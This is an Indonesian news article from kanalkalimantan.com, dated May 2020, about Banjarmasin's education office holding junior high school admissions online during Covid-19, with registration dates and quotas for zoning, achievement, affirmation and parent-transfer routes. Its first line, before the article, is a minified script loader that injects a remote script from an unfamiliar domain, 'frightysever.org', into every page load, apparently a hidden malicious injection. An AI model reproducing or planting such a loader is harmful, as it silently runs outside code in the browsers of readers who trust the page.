(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Pendidikan Kota Banjarmasin memutuskan pelaksanakan Penerimaan Peserta Didik Baru (PPDB) tahun ajaran 2020/2021 tingkat Sekolah Menengah Pertama (SMP) di Banjarmasin secara online.
Kepala Dinas Pendidikan Kota Banjarmasin Totok Agus Daryanto mengatakan, keputusan tersebut diambil lantaran kondisi Banjarmasin yang saat ini masih belum kondusif dikarenakan masih tingginya angka kasus yang diakibatkan pandemi Covid-19.
Ia mengakui, hal tersebut membuat kegiatan PPDB pada tahun ini menjadi berbeda dibanding dengan tahun-tahun sebelumnya, yaitu harus dilakukan daring atau online.
“Dengan selama pandemi ini kami tetap menjalankan PPDB tingkat SMP dengan berbasis zonasi,” ucapnya, Kamis (28/5/2020) siang.
Totok menjelaskan, PPDB di Banjarmasin dibagi menjadi dua sesi pendaftaran. Untuk jalur prestasi dan afirmasi dibuka sejak tanggal 22 hingga 24 Juni 2020. Sedangkan untuk jalur zonasi dan perpindahan orangtua pendaftaran dimulai dari taggal 29 Juni sampai dengan 4 Juli 2020.
“Kalau jalur zonasi akan dimulai pada tanggal 7 sampai 13 Juli 2020, berbarengan dengan jalur daftar ulang,” ungkapnya.
Menurutnya, pembagian sesi pendaftaran itu sudah sesuai dengan hukum perundang-undangan permendikbud nomor 44 berkenan PPDB dan Surat Edaran Permendikbud Nomor 1 Tahun 2020 serat Surat Edaran Permendikbud Nomor 4 Tahun 2020 berkaitan pelaksanaan dalam masa darurat Covid-19. Selain itu, Ia juga menerangkan, ada beberapa kuota yang digunakan untuk perihal PPDB, jalur zonasi harus memenuhi 50 persen dari total keseluruhan jumlah peserta didik yang diterima, lalu kuota afirmasi yang dimaksimal 15 persen bagi warga yang memegang kartu Indonesia Pintar atau KIP yang tidak dibatasi dengan pendaftaran zonasi.
“Kuota afirmasi adalah warga yang tidak ditentukan yang penting jarak wilayah sekolah dan rumah tinggal,” terangnya.
Sementara jalur prestasi di Banjarmasin harus memenuhi sebanyak 30 persen. Tetapi, ini tidak diwajibkan untuk diambil semua sekolah.
“Apabila alokasi jalur prestasi tidak dipenuhi maka akan digeser ke alokasi zonasi,” sambung Totok.
Lalu untuk jalur perpindahan orangtua atau wali adalah jalur pendaftaran bagi orangtua atau wali yang pindah tugas ke Banjarmasin, lulusan luar kota Banjarmasin dan berdomisili sementara di kota Banjarmasin. Menurut Totok, jalur ini hanya disediakan kuota sebanyak 5 persen dari total kuota yang sudah ada.
“Orangtua calon peserta didik tidak perlu melakukan pendaftaran ke sekolah langsung, hanya melakukan pendaftaran lewat Hp, android, laptop PC dan notebook atau sejenisnya secara online dengan mengakses situs PPDB nantinya,” pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.